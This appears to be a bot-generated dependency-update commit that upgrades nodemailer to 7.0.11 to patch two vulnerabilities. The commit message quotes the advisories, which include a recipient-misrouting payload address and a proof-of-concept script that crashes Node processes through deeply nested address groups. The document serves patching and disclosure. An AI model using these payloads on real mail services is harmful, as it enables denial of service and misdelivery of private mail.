Skip to content

Commit 6300a65

Browse files
fix(deps): update dependency nodemailer to v7 [security] (#210)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`6.9.14` -> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/6.9.14/7.0.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/6.9.14/7.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-13033](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87) The email parsing library incorrectly handles quoted local-parts containing @&#8203;. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target. Payload: `"xclow3n@gmail.com x"@&#8203;internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer"); let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, }); let mailOptions = { from: '"Test Sender" <your_email@gmail.com>', to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", }; transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId); }); (async () => { const parser = await import("@&#8203;sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */); if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; } console.log("Parsed email:", { address: `${parsed.localPart}@&#8203;${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ``` Running the script and seeing how this mail is parsed according to RFC ``` Parsed email: { address: '"xclow3n@gmail.com x"@&#8203;internal.domain', local: '"xclow3n@gmail.com x"', domain: 'internal.domain' } ``` But the email is sent to `xclow3n@gmail.com` <img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" /> ### Impact: - Misdelivery / Data leakage: Email is sent to psres.net instead of test.com. - Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts. - Potential compliance issue: Violates RFC 5321/5322 parsing rules. - Domain based access control bypass in downstream applications using your library to send mails ### Recommendations - Fix parser to correctly treat quoted local-parts per RFC 5321/5322. - Add strict validation rejecting local-parts containing embedded @&#8203; unless fully compliant with quoting. #### [GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v) ### Summary A DoS can occur that immediately halts the system due to the use of an unsafe function. ### Details According to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js: https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90 there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header: ```g0: g1: g2: g3: ... gN: victim@example.com;``` Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern `addressparser → _handleAddress → addressparser → ...` for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service. The problematic code section is as follows: ```js if (isGroup) { ... if (data.group.length) { let parsedGroup = addressparser(data.group.join(',')); // <- boom! parsedGroup.forEach(member => { if (member.group) { groupMembers = groupMembers.concat(member.group); } else { groupMembers.push(member); } }); } } ``` `data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number. ### PoC ``` const nodemailer = require('nodemailer'); function buildDeepGroup(depth) { let parts = []; for (let i = 0; i < depth; i++) { parts.push(`g${i}:`); } return parts.join(' ') + ' user@example.com;'; } const DEPTH = 3000; // <- control depth const toHeader = buildDeepGroup(DEPTH); console.log('to header length:', toHeader.length); const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, newline: 'unix' }); console.log('parsing start'); transporter.sendMail( { from: 'test@example.com', to: toHeader, subject: 'test', text: 'test' }, (err, info) => { if (err) { console.error('error:', err); } else { console.log('finished :', info && info.envelope); } } ); ``` As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately. ### Impact The attacker can achieve the following: 1. Force an immediate crash of any server/service that uses Nodemailer 2. Kill the backend process with a single web request 3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion” --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11) ##### Bug Fixes - prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](https://redirect.github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150)) ### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10) ##### Bug Fixes - Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](https://redirect.github.com/nodemailer/nodemailer/commit/28dbf3fe129653f5756c150a98dc40593bfb2cfe)) ### [`v7.0.9`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#709-2025-10-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.7...v7.0.9) ##### Bug Fixes - **release:** Trying to fix release proecess by upgrading Node version in runner ([579fce4](https://redirect.github.com/nodemailer/nodemailer/commit/579fce4683eb588891613a6c9a00d8092e8c62d1)) ### [`v7.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#707-2025-10-05) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.6...v7.0.7) ##### Bug Fixes - **addressparser:** Fixed addressparser handling of quoted nested email addresses ([1150d99](https://redirect.github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626)) - **dns:** add memory leak prevention for DNS cache ([0240d67](https://redirect.github.com/nodemailer/nodemailer/commit/0240d6795ded6d8008d102161a729f120b6d786a)) - **linter:** Updated eslint and created prettier formatting task ([df13b74](https://redirect.github.com/nodemailer/nodemailer/commit/df13b7487e368acded35e45d0887d23c89c9177a)) - refresh expired DNS cache on error ([#&#8203;1759](https://redirect.github.com/nodemailer/nodemailer/issues/1759)) ([ea0fc5a](https://redirect.github.com/nodemailer/nodemailer/commit/ea0fc5a6633a3546f4b00fcf2f428e9ca732cdb6)) - resolve linter errors in DNS cache tests ([3b8982c](https://redirect.github.com/nodemailer/nodemailer/commit/3b8982c1f24508089a8757b74039000a4498b158)) ### [`v7.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#706-2025-08-27) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.5...v7.0.6) ##### Bug Fixes - **encoder:** avoid silent data loss by properly flushing trailing base64 ([#&#8203;1747](https://redirect.github.com/nodemailer/nodemailer/issues/1747)) ([01ae76f](https://redirect.github.com/nodemailer/nodemailer/commit/01ae76f2cfe991c0c3fe80170f236da60531496b)) - handle multiple XOAUTH2 token requests correctly ([#&#8203;1754](https://redirect.github.com/nodemailer/nodemailer/issues/1754)) ([dbe0028](https://redirect.github.com/nodemailer/nodemailer/commit/dbe00286351cddf012726a41a96ae613d30a34ee)) - ReDoS vulnerability in parseDataURI and \_processDataUrl ([#&#8203;1755](https://redirect.github.com/nodemailer/nodemailer/issues/1755)) ([90b3e24](https://redirect.github.com/nodemailer/nodemailer/commit/90b3e24d23929ebf9f4e16261049b40ee4055a39)) ### [`v7.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#705-2025-07-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.4...v7.0.5) ##### Bug Fixes - updated well known delivery service list ([fa2724b](https://redirect.github.com/nodemailer/nodemailer/commit/fa2724b337eb8d8fdcdd788fe903980b061316b8)) ### [`v7.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#704-2025-06-29) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.3...v7.0.4) ##### Bug Fixes - **pools:** Emit 'clear' once transporter is idle and all connections are closed ([839e286](https://redirect.github.com/nodemailer/nodemailer/commit/839e28634c9a93ae4321f399a8c893bf487a09fa)) - **smtp-connection:** jsdoc public annotation for socket ([#&#8203;1741](https://redirect.github.com/nodemailer/nodemailer/issues/1741)) ([c45c84f](https://redirect.github.com/nodemailer/nodemailer/commit/c45c84fe9b8e2ec5e0615ab02d4197473911ab3e)) - **well-known-services:** Added AliyunQiye ([bb9e6da](https://redirect.github.com/nodemailer/nodemailer/commit/bb9e6daffb632d7d8f969359859f88a138de3a48)) ### [`v7.0.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#703-2025-05-08) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.2...v7.0.3) ##### Bug Fixes - **attachments:** Set the default transfer encoding for message/rfc822 attachments as '7bit' ([007d5f3](https://redirect.github.com/nodemailer/nodemailer/commit/007d5f3f40908c588f1db46c76de8b64ff429327)) ### [`v7.0.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#702-2025-05-04) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.1...v7.0.2) ##### Bug Fixes - **ses:** Fixed structured from header ([faa9a5e](https://redirect.github.com/nodemailer/nodemailer/commit/faa9a5eafaacbaf85de3540466a04636e12729b3)) ### [`v7.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#701-2025-05-04) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.0...v7.0.1) ##### Bug Fixes - **ses:** Use formatted FromEmailAddress for SES emails ([821cd09](https://redirect.github.com/nodemailer/nodemailer/commit/821cd09002f16c20369cc728b9414c7eb99e4113)) ### [`v7.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#700-2025-05-03) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v6.10.1...v7.0.0) ##### ⚠ BREAKING CHANGES - SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features ##### Features - SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features ([15db667](https://redirect.github.com/nodemailer/nodemailer/commit/15db667af2d0a5ed835281cfdbab16ee73b5edce)) ### [`v6.10.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#6101-2025-02-06) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v6.10.0...v6.10.1) ##### Bug Fixes - close correct socket ([a18062c](https://redirect.github.com/nodemailer/nodemailer/commit/a18062c04d0e05ca4357fbe8f0a59b690fa5391e)) ### [`v6.10.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#6100-2025-01-23) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v6.9.16...v6.10.0) ##### Features - **services:** add Seznam email service configuration ([#&#8203;1695](https://redirect.github.com/nodemailer/nodemailer/issues/1695)) ([d1ae0a8](https://redirect.github.com/nodemailer/nodemailer/commit/d1ae0a86883ba6011a49a5bbdf076098e2e3637a)) ##### Bug Fixes - **proxy:** Set error and timeout errors for proxied sockets ([aa0c99c](https://redirect.github.com/nodemailer/nodemailer/commit/aa0c99c8f25440bb3dc91f4f3448777c800604d7)) ### [`v6.9.16`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#6916-2024-10-28) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v6.9.15...v6.9.16) ##### Bug Fixes - **addressparser:** Correctly detect if user local part is attached to domain part ([f2096c5](https://redirect.github.com/nodemailer/nodemailer/commit/f2096c51b92a69ecfbcc15884c28cb2c2f00b826)) ### [`v6.9.15`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#6915-2024-08-08) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v6.9.14...v6.9.15) ##### Bug Fixes - Fix memory leak ([#&#8203;1667](https://redirect.github.com/nodemailer/nodemailer/issues/1667)) ([baa28f6](https://redirect.github.com/nodemailer/nodemailer/commit/baa28f659641a4bc30360633673d851618f8e8bd)) - **mime:** Added GeoJSON closes [#&#8203;1637](https://redirect.github.com/nodemailer/nodemailer/issues/1637) ([#&#8203;1665](https://redirect.github.com/nodemailer/nodemailer/issues/1665)) ([79b8293](https://redirect.github.com/nodemailer/nodemailer/commit/79b8293ad557d36f066b4675e649dd80362fd45b)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone America/Toronto, Automerge - Between 12:00 AM and 03:59 AM, on day 1 of the month ( * 0-3 1 * * ) in timezone America/Toronto. 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/kunalnagarco/action-cve). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNTkuNCIsInVwZGF0ZWRJblZlciI6IjQyLjE5LjkiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbIkNWRSJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
1 parent 193e5d9 commit 6300a65

2 files changed

Lines changed: 6 additions & 6 deletions

File tree

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@
5353
"@slack/types": "2.12.0",
5454
"@slack/webhook": "7.0.5",
5555
"adaptivecards": "3.0.5",
56-
"nodemailer": "6.9.14"
56+
"nodemailer": "7.0.11"
5757
},
5858
"devDependencies": {
5959
"@kunalnagarco/eslint-config": "2.2.0",

yarn.lock

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -871,7 +871,7 @@ __metadata:
871871
husky: "npm:9.1.7"
872872
jest: "npm:29.7.0"
873873
lint-staged: "npm:15.5.2"
874-
nodemailer: "npm:6.9.14"
874+
nodemailer: "npm:7.0.11"
875875
prettier: "npm:3.7.3"
876876
semantic-release: "npm:23.1.1"
877877
sort-package-json: "npm:2.10.0"
@@ -7456,10 +7456,10 @@ __metadata:
74567456
languageName: node
74577457
linkType: hard
74587458

7459-
"nodemailer@npm:6.9.14":
7460-
version: 6.9.14
7461-
resolution: "nodemailer@npm:6.9.14"
7462-
checksum: 10c0/2542986849bc6ec2bf12fb7b72226da0ce9c6a0946216dea020d9eedee3ac1a4eb2413f59772a3ddd4bb9188d5ce859167a030c065719473f71319e052a319dc
7459+
"nodemailer@npm:7.0.11":
7460+
version: 7.0.11
7461+
resolution: "nodemailer@npm:7.0.11"
7462+
checksum: 10c0/208f108fdb4c5dd0e3a2f013578d53dad505cf1b9c7a084f6d22fc9d6f3912daafb4a23793ca568ff848afc35f15f4eb24382d3f6f9fb8ede4a8410d4ca63618
74637463
languageName: node
74647464
linkType: hard
74657465

0 commit comments

Comments
 (0)